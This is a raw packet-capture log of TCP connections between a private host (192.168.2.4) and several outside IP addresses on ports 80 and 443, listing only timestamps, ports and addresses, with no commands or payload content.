Nov 2, 2024 07:16:12.432007074 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.432023048 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.432029963 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.432034016 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.432061911 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.432070971 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.432074070 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.432096958 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.432133913 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.432145119 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.432157993 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.432173967 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.432185888 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.432192087 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.432229996 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.432231903 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.432239056 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.432248116 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.432265043 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.432274103 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.432280064 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.432287931 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.432291985 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.432301044 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.432322979 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.432347059 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.432377100 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.432387114 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.432396889 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.432419062 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.432430029 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.432440042 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.432449102 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.432472944 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.432496071 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.463506937 CET	443	63812	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.464040041 CET	63812	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.464059114 CET	443	63812	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.464440107 CET	63812	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.464443922 CET	443	63812	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.470161915 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.470177889 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.470189095 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.470205069 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.470218897 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.470228910 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.470240116 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.470251083 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.470249891 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.470293999 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.470315933 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.475301027 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.475346088 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.475356102 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.475403070 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.475406885 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.475424051 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.475435972 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.475445986 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.475447893 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.475455999 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.475467920 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.475477934 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.475481987 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.475508928 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.475522995 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.601200104 CET	443	63812	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.601324081 CET	443	63812	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.601356030 CET	443	63812	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.601471901 CET	63812	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.601471901 CET	63812	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.627810955 CET	63812	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.627819061 CET	443	63812	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.627835035 CET	63812	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.627840042 CET	443	63812	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.644869089 CET	443	63814	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.686621904 CET	443	63815	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.694890976 CET	63814	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.694900036 CET	443	63814	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.697371006 CET	63814	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.697376013 CET	443	63814	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.701613903 CET	63815	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.701641083 CET	443	63815	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.701996088 CET	63815	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.702002048 CET	443	63815	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.707484007 CET	63818	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.707511902 CET	443	63818	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.707567930 CET	63818	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.707868099 CET	63818	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.707882881 CET	443	63818	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.727948904 CET	80	63813	185.215.113.43	192.168.2.4
Nov 2, 2024 07:16:12.728112936 CET	63813	80	192.168.2.4	185.215.113.43
Nov 2, 2024 07:16:12.736443043 CET	443	63816	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.776665926 CET	63816	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.818290949 CET	443	63817	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.823205948 CET	443	63814	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.823286057 CET	443	63814	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.823331118 CET	63814	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.831433058 CET	443	63815	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.831465960 CET	443	63815	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.831511974 CET	443	63815	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.831518888 CET	63815	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.831549883 CET	63815	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.870404959 CET	63817	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.892147064 CET	63816	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.892163038 CET	443	63816	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.906392097 CET	63816	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.906418085 CET	443	63816	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.906419992 CET	63815	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.906419992 CET	63815	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.906436920 CET	443	63815	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.906445980 CET	443	63815	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.914479017 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:12.915460110 CET	63817	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.915482044 CET	443	63817	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.916060925 CET	63817	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.916074038 CET	443	63817	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.916227102 CET	63814	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.916238070 CET	443	63814	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.916248083 CET	63814	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.916251898 CET	443	63814	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.919351101 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:12.919411898 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:12.920085907 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:12.921734095 CET	63820	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.921814919 CET	443	63820	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.921888113 CET	63820	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.923753977 CET	63820	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.923793077 CET	443	63820	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.924056053 CET	63821	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.924130917 CET	443	63821	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.924195051 CET	63821	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.924305916 CET	63821	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:12.924330950 CET	443	63821	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:12.924961090 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:13.033529043 CET	443	63816	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.033659935 CET	443	63816	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.033726931 CET	63816	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.040050030 CET	63816	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.040050030 CET	63816	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.040081024 CET	443	63816	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.040096998 CET	443	63816	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.043289900 CET	63822	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.043344021 CET	443	63822	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.043416023 CET	63822	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.044744968 CET	63822	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.044773102 CET	443	63822	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.047691107 CET	443	63817	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.047758102 CET	443	63817	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.047816038 CET	63817	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.047935963 CET	63817	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.047935963 CET	63817	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.047971964 CET	443	63817	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.047998905 CET	443	63817	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.050122023 CET	63823	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.050154924 CET	443	63823	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.050223112 CET	63823	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.050751925 CET	63823	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.050777912 CET	443	63823	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.446178913 CET	443	63818	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.480309963 CET	63818	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.480344057 CET	443	63818	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.480654955 CET	63818	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.480662107 CET	443	63818	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.608175039 CET	443	63818	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.608252048 CET	443	63818	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.608309984 CET	63818	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.608505964 CET	63818	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.608524084 CET	443	63818	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.608537912 CET	63818	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.608545065 CET	443	63818	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.611309052 CET	63824	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.611414909 CET	443	63824	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.611494064 CET	63824	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.611747980 CET	63824	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.611783028 CET	443	63824	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.670274973 CET	443	63821	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.676134109 CET	63821	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.676201105 CET	443	63821	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.679145098 CET	63821	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.679162025 CET	443	63821	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.692840099 CET	443	63820	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.694221020 CET	63820	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.694289923 CET	443	63820	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.710973978 CET	63820	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.711013079 CET	443	63820	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.786252022 CET	443	63822	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.787071943 CET	63822	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.787138939 CET	443	63822	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.787477970 CET	63822	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.787493944 CET	443	63822	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.789027929 CET	443	63823	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.789341927 CET	63823	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.789364100 CET	443	63823	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.789717913 CET	63823	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.789730072 CET	443	63823	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.807017088 CET	443	63821	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.807085991 CET	443	63821	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.807142973 CET	63821	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.807262897 CET	63821	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.807262897 CET	63821	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.807291985 CET	443	63821	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.807327986 CET	443	63821	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.821211100 CET	63825	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.821240902 CET	443	63825	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.821398020 CET	63825	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.821535110 CET	63825	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.821542978 CET	443	63825	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.854123116 CET	443	63820	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.854146004 CET	443	63820	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.854197979 CET	443	63820	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.854223013 CET	63820	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.854377031 CET	63820	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.854533911 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:13.854578018 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:13.854588985 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:13.854592085 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:13.854608059 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:13.854619980 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:13.854619980 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:13.854643106 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:13.854654074 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:13.854718924 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:13.854778051 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:13.854804993 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:13.854841948 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:13.854844093 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:13.854854107 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:13.854861021 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:13.854873896 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:13.854892015 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:13.859132051 CET	63820	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.859181881 CET	443	63820	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.859215975 CET	63820	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.859230995 CET	443	63820	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.859590054 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:13.859647036 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:13.859683037 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:13.859694958 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:13.859725952 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:13.864994049 CET	63826	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.865016937 CET	443	63826	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.865067959 CET	63826	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.865600109 CET	63826	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.865612030 CET	443	63826	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.915292978 CET	443	63822	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.915453911 CET	443	63822	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.915523052 CET	63822	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.917428017 CET	63822	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.917428017 CET	63822	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.917453051 CET	443	63822	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.917475939 CET	443	63822	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.919476986 CET	443	63823	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.919538975 CET	443	63823	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.919599056 CET	63823	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.919920921 CET	63823	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.919943094 CET	443	63823	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.919967890 CET	63823	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.919980049 CET	443	63823	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.925455093 CET	63827	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.925487041 CET	443	63827	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.925563097 CET	63827	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.926382065 CET	63828	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.926418066 CET	443	63828	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.926481962 CET	63828	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.927881002 CET	63827	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.927897930 CET	443	63827	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:13.928301096 CET	63828	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:13.928328037 CET	443	63828	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.022105932 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.022119045 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.022130013 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.022149086 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.022159100 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.022171021 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.022283077 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.022775888 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.022789955 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.022800922 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.022814035 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.022826910 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.022850037 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.023319006 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.023329973 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.023340940 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.023353100 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.023363113 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.023375988 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.023401022 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.023852110 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.023900032 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.023900986 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.023912907 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.023925066 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.023936987 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.023941040 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.023941040 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.023967028 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.023976088 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.024741888 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.024753094 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.024765015 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.024776936 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.024846077 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.027163029 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.027204990 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.027370930 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.027404070 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.115434885 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:14.115497112 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:14.189687014 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.189706087 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.189714909 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.189733982 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.189759970 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.189765930 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.189773083 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.189785004 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.189795017 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.189822912 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.190011978 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.190021992 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.190033913 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.190052986 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.190063000 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.190076113 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.190084934 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.190088987 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.190110922 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.190131903 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.190469980 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.190488100 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.190500975 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.190509081 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.190511942 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.190524101 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.190527916 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.190548897 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.190583944 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.190953016 CET	80	63819	185.215.113.16	192.168.2.4
